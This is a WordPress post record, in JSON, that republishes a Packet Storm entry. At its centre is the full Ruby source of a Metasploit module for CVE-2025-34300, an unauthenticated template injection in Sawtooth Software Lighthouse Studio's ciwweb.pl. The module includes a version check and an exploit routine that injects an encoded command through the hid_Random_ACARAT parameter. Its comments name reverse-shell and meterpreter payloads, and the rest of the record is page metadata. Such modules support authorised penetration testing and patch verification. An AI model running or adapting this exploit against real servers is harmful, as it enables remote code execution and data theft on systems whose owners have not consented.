{"id":16661,"date":"2025-09-09T13:20:32","date_gmt":"2025-09-09T13:20:32","guid":{"rendered":"http:\/\/localhost\/?p=16661"},"modified":"2025-09-09T13:20:32","modified_gmt":"2025-09-09T13:20:32","slug":"sawtooth-software-lighthouse-studios-template-injection","status":"publish","type":"post","link":"https:\/\/zero.redgem.net\/?p=16661","title":{"rendered":"\ud83d\udcc4 Sawtooth Software Lighthouse Studios Template Injection_PACKETSTORM:209296"},"content":{"rendered":"<p>{&#8220;lastseen&#8221;:&#8221;2025-09-09T16:39:22&#8243;,&#8221;description&#8221;:&#8221;This Metasploit module exploits a template injection&#8230;&#8221;,&#8221;published&#8221;:&#8221;2025-09-09T00:00:00&#8243;,&#8221;modified&#8221;:&#8221;2025-09-09T00:00:00&#8243;,&#8221;type&#8221;:&#8221;packetstorm&#8221;,&#8221;title&#8221;:&#8221;\ud83d\udcc4 Sawtooth Software Lighthouse Studios Template Injection&#8221;,&#8221;source&#8221;:&#8221;&#8221;,&#8221;references&#8221;:&#8221;&#8221;,&#8221;id&#8221;:&#8221;PACKETSTORM:209296&#8243;,&#8221;bulletinFamily&#8221;:&#8221;exploit&#8221;,&#8221;cwe&#8221;:null,&#8221;cvelist&#8221;:[&#8220;CVE-2025-34300&#8243;],&#8221;sourceData&#8221;:&#8221;##\\n    # This module requires Metasploit: https:\/\/metasploit.com\/download\\n    # Current source: https:\/\/github.com\/rapid7\/metasploit-framework\\n    ##\\n    \\n    class MetasploitModule \\u003c Msf::Exploit::Remote\\n      Rank = ExcellentRanking\\n    \\n      include Msf::Exploit::Remote::HttpClient\\n      prepend Msf::Exploit::Remote::AutoCheck\\n    \\n      def initialize(info = {})\\n        super(\\n          update_info(\\n            info,\\n            &#8216;Name&#8217; =\\u003e \\&#8221;Template Injection Vulnerability in Sawtooth Software&#8217;s Lighthouse Studio (CVE-2025-34300)\\&#8221;,\\n            &#8216;Description&#8217; =\\u003e %q{\\n              This module exploits a template injection vulnerability in the\\n              Sawtooth Software Lighthouse Studio&#8217;s `ciwweb.pl` web application.\\n              The application fails to properly sanitize user input within survey templates,\\n              allowing unauthenticated attackers to inject and execute arbitrary Perl commands\\n              on the target system.\\n    \\n              This vulnerability affects Lighthouse Studio versions prior to 9.16.14.\\n              Successful exploitation may result in remote code execution under the privileges\\n              of the web server, potentially exposing sensitive data or disrupting survey operations.\\n    \\n              An attacker can execute arbitrary system commands in the context of the user running the web server.\\n            },\\n            &#8216;License&#8217; =\\u003e MSF_LICENSE,\\n            &#8216;Author&#8217; =\\u003e [\\n              &#8216;Maksim Rogov&#8217;, # Metasploit Module\\n              &#8216;Adam Kues&#8217; # Vulnerability Discovery\\n            ],\\n            &#8216;References&#8217; =\\u003e [\\n              [&#8216;CVE&#8217;, &#8216;2025-34300&#8217;],\\n              [&#8216;URL&#8217;, &#8216;https:\/\/slcyber.io\/assetnote-security-research-center\/rce-in-the-most-popular-survey-software-youve-never-heard-of\/&#8217;]\\n            ],\\n            &#8216;Platform&#8217; =\\u003e [&#8216;multi&#8217;],\\n            &#8216;Arch&#8217; =\\u003e [ARCH_CMD],\\n            &#8216;Targets&#8217; =\\u003e [\\n              [\\n                &#8216;Unix Command&#8217;,\\n                {\\n                  &#8216;Platform&#8217; =\\u003e [&#8216;unix&#8217;, &#8216;linux&#8217;],\\n                  &#8216;Arch&#8217; =\\u003e ARCH_CMD,\\n                  &#8216;Type&#8217; =\\u003e :unix_cmd,\\n                  &#8216;DefaultOptions&#8217; =\\u003e {\\n                    # On Ubuntu 18.04.06 LTS curl is not installed by default\\n                    &#8216;FETCH_COMMAND&#8217; =\\u003e &#8216;WGET&#8217;\\n                  }\\n                  # Tested with cmd\/unix\/reverse_bash\\n                  # Tested with cmd\/linux\/http\/x64\/meterpreter\/reverse_tcp\\n                }\\n              ],\\n              [\\n                &#8216;Windows Command&#8217;,\\n                {\\n                  &#8216;Platform&#8217; =\\u003e [&#8216;windows&#8217;],\\n                  &#8216;Arch&#8217; =\\u003e ARCH_CMD,\\n                  &#8216;Type&#8217; =\\u003e :win_cmd,\\n                  &#8216;DefaultOptions&#8217; =\\u003e {\\n                    # Environment variables like %TEMP% don&#8217;t resolve\\n                    &#8216;FETCH_WRITABLE_DIR&#8217; =\\u003e &#8216;\\\\\\\\Windows\\\\\\\\Tasks\\\\\\\\&#8217;\\n                  },\\n                  &#8216;Payload&#8217; =\\u003e {\\n                    &#8216;Prepend&#8217; =\\u003e &#8216;cmd.exe \/q \/c&#8217;\\n                  }\\n                  # Tested with cmd\/windows\/http\/x64\/meterpreter\/reverse_tcp\\n                }\\n              ],\\n            ],\\n            &#8216;Payload&#8217; =\\u003e {\\n              &#8216;BadChars&#8217; =\\u003e &#8216;\\\\\\\\&#8217;\\n            },\\n            &#8216;DefaultTarget&#8217; =\\u003e 0,\\n            &#8216;DisclosureDate&#8217; =\\u003e &#8216;2025-07-16&#8217;,\\n            &#8216;Notes&#8217; =\\u003e {\\n              &#8216;Stability&#8217; =\\u003e [CRASH_SAFE],\\n              &#8216;SideEffects&#8217; =\\u003e [IOC_IN_LOGS, ARTIFACTS_ON_DISK],\\n              &#8216;Reliability&#8217; =\\u003e [REPEATABLE_SESSION]\\n            }\\n          )\\n        )\\n    \\n        register_options(\\n          [\\n            OptString.new(&#8216;TARGETURI&#8217;, [true, &#8216;Path to vulnerable ciwweb.pl&#8217;, &#8216;\/cgi-bin\/ciwweb.pl&#8217;]),\\n            OptString.new(&#8216;STUDYNAME&#8217;, [false, &#8216;Value for the hid_studyname GET parameter&#8217;, &#8221;]),\\n          ]\\n        )\\n      end\\n    \\n      def check\\n        print_status(&#8216;Extracting version&#8230;&#8217;)\\n    \\n        vars = {\\n          &#8216;hid_javascript&#8217; =\\u003e &#8216;1&#8217;\\n        }\\n        vars[&#8216;hid_studyname&#8217;] = datastore[&#8216;STUDYNAME&#8217;] unless datastore[&#8216;STUDYNAME&#8217;].strip.empty?\\n    \\n        res = send_request_cgi(\\n          &#8216;uri&#8217; =\\u003e normalize_uri(target_uri.path),\\n          &#8216;method&#8217; =\\u003e &#8216;GET&#8217;,\\n          &#8216;vars_get&#8217; =\\u003e vars\\n        )\\n        return CheckCode::Unknown(&#8216;No response from target&#8217;) unless res\\u0026.code == 200\\n    \\n        if res.body =~ \/Lighthouse Studio (\\\\d+_\\\\d+_\\\\d+)\/\\n          version_match = Regexp.last_match(1).to_s\\n          version = Rex::Version.new(version_match.gsub(&#8216;_&#8217;, &#8216;.&#8217;))\\n          print_status(\\&#8221;Extracted version: #{version}\\&#8221;)\\n    \\n          return CheckCode::Appears if version \\u003c Rex::Version.new(&#8216;9.16.14&#8217;)\\n        else\\n          print_error(\\&#8221;#{peer} &#8211; Unable to extract version number\\&#8221;)\\n        end\\n    \\n        html = res.get_html_document\\n        if html\\u0026.text\\u0026.include?(&#8216;Lighthouse Studio&#8217;)\\n          return CheckCode::Detected\\n        end\\n    \\n        CheckCode::Safe\\n      end\\n    \\n      def exploit\\n        print_status(&#8216;Uploading malicious payload&#8230;&#8217;)\\n    \\n        cmd = Rex::Text.uri_encode(payload.encoded)\\n    \\n        query = [\\n          &#8216;hid_javascript=1&#8217;,\\n          \\&#8221;hid_Random_ACARAT=[%`#{cmd}`%]\\&#8221;,\\n          \\&#8221;hid_Random_ACARAT=#{Rex::Text.rand_text_alphanumeric(rand(3..5))}\\&#8221;\\n        ]\\n    \\n        query \\u003c\\u003c \\&#8221;hid_studyname=#{datastore[&#8216;STUDYNAME&#8217;]}\\&#8221; unless datastore[&#8216;STUDYNAME&#8217;].strip.empty?\\n        query_string = query.join(&#8216;\\u0026&#8217;)\\n    \\n        res = send_request_cgi({\\n          &#8216;uri&#8217; =\\u003e normalize_uri(target_uri.path),\\n          &#8216;method&#8217; =\\u003e &#8216;GET&#8217;,\\n          &#8216;query&#8217; =\\u003e query_string\\n        })\\n    \\n        if res\\n          html = res.get_html_document\\n          if html\\u0026.text\\u0026.include?(&#8216;Cannot find the study name&#8217;)\\n            fail_with(Failure::BadConfig, &#8216;The STUDYNAME value was not found on the server&#8217;)\\n          end\\n        end\\n      end\\n    end&#8221;,&#8221;sourceHref&#8221;:&#8221;https:\/\/packetstorm.news\/download\/209296&#8243;,&#8221;cvss&#8221;:{&#8220;score&#8221;:10,&#8221;severity&#8221;:&#8221;CRITICAL&#8221;,&#8221;vector&#8221;:&#8221;CVSS:4.0\/AV:N\/AC:L\/AT:N\/PR:N\/UI:N\/VC:H\/SC:H\/VI:H\/SI:H\/VA:H\/SA:H&#8221;,&#8221;version&#8221;:&#8221;4.0&#8243;},&#8221;cvss2&#8243;:{},&#8221;cvss3&#8243;:{&#8220;version&#8221;:&#8221;&#8221;,&#8221;vectorString&#8221;:&#8221;&#8221;,&#8221;baseScore&#8221;:0,&#8221;baseSeverity&#8221;:&#8221;&#8221;,&#8221;attackVector&#8221;:&#8221;&#8221;,&#8221;attackComplexity&#8221;:&#8221;&#8221;,&#8221;privilegesRequired&#8221;:&#8221;&#8221;,&#8221;userInteraction&#8221;:&#8221;&#8221;,&#8221;scope&#8221;:&#8221;&#8221;,&#8221;confidentialityImpact&#8221;:&#8221;&#8221;,&#8221;integrityImpact&#8221;:&#8221;&#8221;,&#8221;availabilityImpact&#8221;:&#8221;&#8221;,&#8221;cvssV3&#8243;:{&#8220;version&#8221;:&#8221;&#8221;,&#8221;vectorString&#8221;:&#8221;&#8221;,&#8221;baseScore&#8221;:0,&#8221;baseSeverity&#8221;:&#8221;&#8221;,&#8221;attackVector&#8221;:&#8221;&#8221;,&#8221;attackComplexity&#8221;:&#8221;&#8221;,&#8221;privilegesRequired&#8221;:&#8221;&#8221;,&#8221;userInteraction&#8221;:&#8221;&#8221;,&#8221;scope&#8221;:&#8221;&#8221;,&#8221;confidentialityImpact&#8221;:&#8221;&#8221;,&#8221;integrityImpact&#8221;:&#8221;&#8221;,&#8221;availabilityImpact&#8221;:&#8221;&#8221;}},&#8221;href&#8221;:&#8221;https:\/\/packetstorm.news\/files\/id\/209296\/&#8221;,&#8221;category_name&#8221;:&#8221;Exploit&#8221;,&#8221;post_link&#8221;:&#8221;&#8221;,&#8221;product&#8221;:&#8221;&#8221;,&#8221;version&#8221;:&#8221;&#8221;,&#8221;vendor&#8221;:&#8221;&#8221;,&#8221;ai_description&#8221;:&#8221;&#8221;,&#8221;ai_severity&#8221;:&#8221;&#8221;,&#8221;ai_vendor&#8221;:&#8221;&#8221;,&#8221;ai_product&#8221;:&#8221;&#8221;,&#8221;ai_version&#8221;:&#8221;&#8221;,&#8221;ai_score&#8221;:0}<\/p>\n","protected":false},"excerpt":{"rendered":"<p>{&#8220;lastseen&#8221;:&#8221;2025-09-09T16:39:22&#8243;,&#8221;description&#8221;:&#8221;This Metasploit module exploits a template injection&#8230;&#8221;,&#8221;published&#8221;:&#8221;2025-09-09T00:00:00&#8243;,&#8221;modified&#8221;:&#8221;2025-09-09T00:00:00&#8243;,&#8221;type&#8221;:&#8221;packetstorm&#8221;,&#8221;title&#8221;:&#8221;\ud83d\udcc4 Sawtooth Software Lighthouse Studios Template Injection&#8221;,&#8221;source&#8221;:&#8221;&#8221;,&#8221;references&#8221;:&#8221;&#8221;,&#8221;id&#8221;:&#8221;PACKETSTORM:209296&#8243;,&#8221;bulletinFamily&#8221;:&#8221;exploit&#8221;,&#8221;cwe&#8221;:null,&#8221;cvelist&#8221;:[&#8220;CVE-2025-34300&#8243;],&#8221;sourceData&#8221;:&#8221;##\\n # This module requires Metasploit: https:\/\/metasploit.com\/download\\n # Current source: https:\/\/github.com\/rapid7\/metasploit-framework\\n ##\\n \\n&#8230;<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[3],"tags":[9,6,8,36,12,13,53,7,11,5],"class_list":["post-16661","post","type-post","status-publish","format-standard","hentry","category-category_exploit","tag-critical","tag-cve","tag-cvss","tag-cvss-100","tag-exploit","tag-news","tag-packetstorm","tag-security","tag-tapic","tag-vulnerability"],"yoast_head":"<!-- This site is optimized with the Yoast SEO plugin v27.5 - https:\/\/yoast.com\/product\/yoast-seo-wordpress\/ -->\n<title>\ud83d\udcc4 Sawtooth Software Lighthouse Studios Template Injection_PACKETSTORM:209296 - zero redgem<\/title>\n<meta name=\"robots\" content=\"index, follow, max-snippet:-1, max-image-preview:large, max-video-preview:-1\" \/>\n<link rel=\"canonical\" href=\"https:\/\/zero.redgem.net\/?p=16661\" \/>\n<meta property=\"og:locale\" content=\"en_US\" \/>\n<meta property=\"og:type\" content=\"article\" \/>\n<meta property=\"og:title\" content=\"\ud83d\udcc4 Sawtooth Software Lighthouse Studios Template Injection_PACKETSTORM:209296 - zero redgem\" \/>\n<meta property=\"og:description\" content=\"{&#8220;lastseen&#8221;:&#8221;2025-09-09T16:39:22&#8243;,&#8221;description&#8221;:&#8221;This Metasploit module exploits a template injection&#8230;&#8221;,&#8221;published&#8221;:&#8221;2025-09-09T00:00:00&#8243;,&#8221;modified&#8221;:&#8221;2025-09-09T00:00:00&#8243;,&#8221;type&#8221;:&#8221;packetstorm&#8221;,&#8221;title&#8221;:&#8221;\ud83d\udcc4 Sawtooth Software Lighthouse Studios Template Injection&#8221;,&#8221;source&#8221;:&#8221;&#8221;,&#8221;references&#8221;:&#8221;&#8221;,&#8221;id&#8221;:&#8221;PACKETSTORM:209296&#8243;,&#8221;bulletinFamily&#8221;:&#8221;exploit&#8221;,&#8221;cwe&#8221;:null,&#8221;cvelist&#8221;:[&#8220;CVE-2025-34300&#8243;],&#8221;sourceData&#8221;:&#8221;##n # This module requires Metasploit: https:\/\/metasploit.com\/downloadn # Current source: https:\/\/github.com\/rapid7\/metasploit-frameworkn ##n n...\" \/>\n<meta property=\"og:url\" content=\"https:\/\/zero.redgem.net\/?p=16661\" \/>\n<meta property=\"og:site_name\" content=\"zero redgem\" \/>\n<meta property=\"article:published_time\" content=\"2025-09-09T13:20:32+00:00\" \/>\n<meta name=\"author\" content=\"invoker\" \/>\n<meta name=\"twitter:card\" content=\"summary_large_image\" \/>\n<meta name=\"twitter:label1\" content=\"Written by\" \/>\n\t<meta name=\"twitter:data1\" content=\"invoker\" \/>\n\t<meta name=\"twitter:label2\" content=\"Est. reading time\" \/>\n\t<meta name=\"twitter:data2\" content=\"4 minutes\" \/>\n<script type=\"application\/ld+json\" class=\"yoast-schema-graph\">{\"@context\":\"https:\\\/\\\/schema.org\",\"@graph\":[{\"@type\":\"Article\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=16661#article\",\"isPartOf\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=16661\"},\"author\":{\"name\":\"invoker\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#\\\/schema\\\/person\\\/fbfeae8dfad117ac08a7621bee1a1dca\"},\"headline\":\"\ud83d\udcc4 Sawtooth Software Lighthouse Studios Template Injection_PACKETSTORM:209296\",\"datePublished\":\"2025-09-09T13:20:32+00:00\",\"mainEntityOfPage\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=16661\"},\"wordCount\":866,\"commentCount\":0,\"publisher\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#organization\"},\"keywords\":[\"CRITICAL\",\"CVE\",\"CVSS\",\"CVSS-10.0\",\"exploit\",\"news\",\"packetstorm\",\"Security\",\"tapic\",\"Vulnerability\"],\"articleSection\":[\"category_exploit\"],\"inLanguage\":\"en-US\",\"potentialAction\":[{\"@type\":\"CommentAction\",\"name\":\"Comment\",\"target\":[\"https:\\\/\\\/zero.redgem.net\\\/?p=16661#respond\"]}]},{\"@type\":\"WebPage\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=16661\",\"url\":\"https:\\\/\\\/zero.redgem.net\\\/?p=16661\",\"name\":\"\ud83d\udcc4 Sawtooth Software Lighthouse Studios Template Injection_PACKETSTORM:209296 - zero redgem\",\"isPartOf\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#website\"},\"datePublished\":\"2025-09-09T13:20:32+00:00\",\"breadcrumb\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=16661#breadcrumb\"},\"inLanguage\":\"en-US\",\"potentialAction\":[{\"@type\":\"ReadAction\",\"target\":[\"https:\\\/\\\/zero.redgem.net\\\/?p=16661\"]}]},{\"@type\":\"BreadcrumbList\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=16661#breadcrumb\",\"itemListElement\":[{\"@type\":\"ListItem\",\"position\":1,\"name\":\"Home\",\"item\":\"https:\\\/\\\/zero.redgem.net\\\/\"},{\"@type\":\"ListItem\",\"position\":2,\"name\":\"\ud83d\udcc4 Sawtooth Software Lighthouse Studios Template Injection_PACKETSTORM:209296\"}]},{\"@type\":\"WebSite\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#website\",\"url\":\"https:\\\/\\\/zero.redgem.net\\\/\",\"name\":\"zero redgem\",\"description\":\"\",\"publisher\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#organization\"},\"potentialAction\":[{\"@type\":\"SearchAction\",\"target\":{\"@type\":\"EntryPoint\",\"urlTemplate\":\"https:\\\/\\\/zero.redgem.net\\\/?s={search_term_string}\"},\"query-input\":{\"@type\":\"PropertyValueSpecification\",\"valueRequired\":true,\"valueName\":\"search_term_string\"}}],\"inLanguage\":\"en-US\"},{\"@type\":\"Organization\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#organization\",\"name\":\"zero redgem\",\"url\":\"https:\\\/\\\/zero.redgem.net\\\/\",\"logo\":{\"@type\":\"ImageObject\",\"inLanguage\":\"en-US\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#\\\/schema\\\/logo\\\/image\\\/\",\"url\":\"\",\"contentUrl\":\"\",\"width\":191,\"height\":188,\"caption\":\"zero redgem\"},\"image\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#\\\/schema\\\/logo\\\/image\\\/\"}},{\"@type\":\"Person\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#\\\/schema\\\/person\\\/fbfeae8dfad117ac08a7621bee1a1dca\",\"name\":\"invoker\",\"image\":{\"@type\":\"ImageObject\",\"inLanguage\":\"en-US\",\"@id\":\"https:\\\/\\\/secure.gravatar.com\\\/avatar\\\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g\",\"url\":\"https:\\\/\\\/secure.gravatar.com\\\/avatar\\\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g\",\"contentUrl\":\"https:\\\/\\\/secure.gravatar.com\\\/avatar\\\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g\",\"caption\":\"invoker\"},\"sameAs\":[\"https:\\\/\\\/zero.redgem.net\"],\"url\":\"https:\\\/\\\/zero.redgem.net\\\/?author=1\"}]}<\/script>\n<!-- \/ Yoast SEO plugin. -->","yoast_head_json":{"title":"\ud83d\udcc4 Sawtooth Software Lighthouse Studios Template Injection_PACKETSTORM:209296 - zero redgem","robots":{"index":"index","follow":"follow","max-snippet":"max-snippet:-1","max-image-preview":"max-image-preview:large","max-video-preview":"max-video-preview:-1"},"canonical":"https:\/\/zero.redgem.net\/?p=16661","og_locale":"en_US","og_type":"article","og_title":"\ud83d\udcc4 Sawtooth Software Lighthouse Studios Template Injection_PACKETSTORM:209296 - zero redgem","og_description":"{&#8220;lastseen&#8221;:&#8221;2025-09-09T16:39:22&#8243;,&#8221;description&#8221;:&#8221;This Metasploit module exploits a template injection&#8230;&#8221;,&#8221;published&#8221;:&#8221;2025-09-09T00:00:00&#8243;,&#8221;modified&#8221;:&#8221;2025-09-09T00:00:00&#8243;,&#8221;type&#8221;:&#8221;packetstorm&#8221;,&#8221;title&#8221;:&#8221;\ud83d\udcc4 Sawtooth Software Lighthouse Studios Template Injection&#8221;,&#8221;source&#8221;:&#8221;&#8221;,&#8221;references&#8221;:&#8221;&#8221;,&#8221;id&#8221;:&#8221;PACKETSTORM:209296&#8243;,&#8221;bulletinFamily&#8221;:&#8221;exploit&#8221;,&#8221;cwe&#8221;:null,&#8221;cvelist&#8221;:[&#8220;CVE-2025-34300&#8243;],&#8221;sourceData&#8221;:&#8221;##n # This module requires Metasploit: https:\/\/metasploit.com\/downloadn # Current source: https:\/\/github.com\/rapid7\/metasploit-frameworkn ##n n...","og_url":"https:\/\/zero.redgem.net\/?p=16661","og_site_name":"zero redgem","article_published_time":"2025-09-09T13:20:32+00:00","author":"invoker","twitter_card":"summary_large_image","twitter_misc":{"Written by":"invoker","Est. reading time":"4 minutes"},"schema":{"@context":"https:\/\/schema.org","@graph":[{"@type":"Article","@id":"https:\/\/zero.redgem.net\/?p=16661#article","isPartOf":{"@id":"https:\/\/zero.redgem.net\/?p=16661"},"author":{"name":"invoker","@id":"https:\/\/zero.redgem.net\/#\/schema\/person\/fbfeae8dfad117ac08a7621bee1a1dca"},"headline":"\ud83d\udcc4 Sawtooth Software Lighthouse Studios Template Injection_PACKETSTORM:209296","datePublished":"2025-09-09T13:20:32+00:00","mainEntityOfPage":{"@id":"https:\/\/zero.redgem.net\/?p=16661"},"wordCount":866,"commentCount":0,"publisher":{"@id":"https:\/\/zero.redgem.net\/#organization"},"keywords":["CRITICAL","CVE","CVSS","CVSS-10.0","exploit","news","packetstorm","Security","tapic","Vulnerability"],"articleSection":["category_exploit"],"inLanguage":"en-US","potentialAction":[{"@type":"CommentAction","name":"Comment","target":["https:\/\/zero.redgem.net\/?p=16661#respond"]}]},{"@type":"WebPage","@id":"https:\/\/zero.redgem.net\/?p=16661","url":"https:\/\/zero.redgem.net\/?p=16661","name":"\ud83d\udcc4 Sawtooth Software Lighthouse Studios Template Injection_PACKETSTORM:209296 - zero redgem","isPartOf":{"@id":"https:\/\/zero.redgem.net\/#website"},"datePublished":"2025-09-09T13:20:32+00:00","breadcrumb":{"@id":"https:\/\/zero.redgem.net\/?p=16661#breadcrumb"},"inLanguage":"en-US","potentialAction":[{"@type":"ReadAction","target":["https:\/\/zero.redgem.net\/?p=16661"]}]},{"@type":"BreadcrumbList","@id":"https:\/\/zero.redgem.net\/?p=16661#breadcrumb","itemListElement":[{"@type":"ListItem","position":1,"name":"Home","item":"https:\/\/zero.redgem.net\/"},{"@type":"ListItem","position":2,"name":"\ud83d\udcc4 Sawtooth Software Lighthouse Studios Template Injection_PACKETSTORM:209296"}]},{"@type":"WebSite","@id":"https:\/\/zero.redgem.net\/#website","url":"https:\/\/zero.redgem.net\/","name":"zero redgem","description":"","publisher":{"@id":"https:\/\/zero.redgem.net\/#organization"},"potentialAction":[{"@type":"SearchAction","target":{"@type":"EntryPoint","urlTemplate":"https:\/\/zero.redgem.net\/?s={search_term_string}"},"query-input":{"@type":"PropertyValueSpecification","valueRequired":true,"valueName":"search_term_string"}}],"inLanguage":"en-US"},{"@type":"Organization","@id":"https:\/\/zero.redgem.net\/#organization","name":"zero redgem","url":"https:\/\/zero.redgem.net\/","logo":{"@type":"ImageObject","inLanguage":"en-US","@id":"https:\/\/zero.redgem.net\/#\/schema\/logo\/image\/","url":"","contentUrl":"","width":191,"height":188,"caption":"zero redgem"},"image":{"@id":"https:\/\/zero.redgem.net\/#\/schema\/logo\/image\/"}},{"@type":"Person","@id":"https:\/\/zero.redgem.net\/#\/schema\/person\/fbfeae8dfad117ac08a7621bee1a1dca","name":"invoker","image":{"@type":"ImageObject","inLanguage":"en-US","@id":"https:\/\/secure.gravatar.com\/avatar\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g","url":"https:\/\/secure.gravatar.com\/avatar\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g","contentUrl":"https:\/\/secure.gravatar.com\/avatar\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g","caption":"invoker"},"sameAs":["https:\/\/zero.redgem.net"],"url":"https:\/\/zero.redgem.net\/?author=1"}]}},"_links":{"self":[{"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/posts\/16661","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=16661"}],"version-history":[{"count":0,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/posts\/16661\/revisions"}],"wp:attachment":[{"href":"https:\/\/zero.redgem.net\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=16661"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=16661"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=16661"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}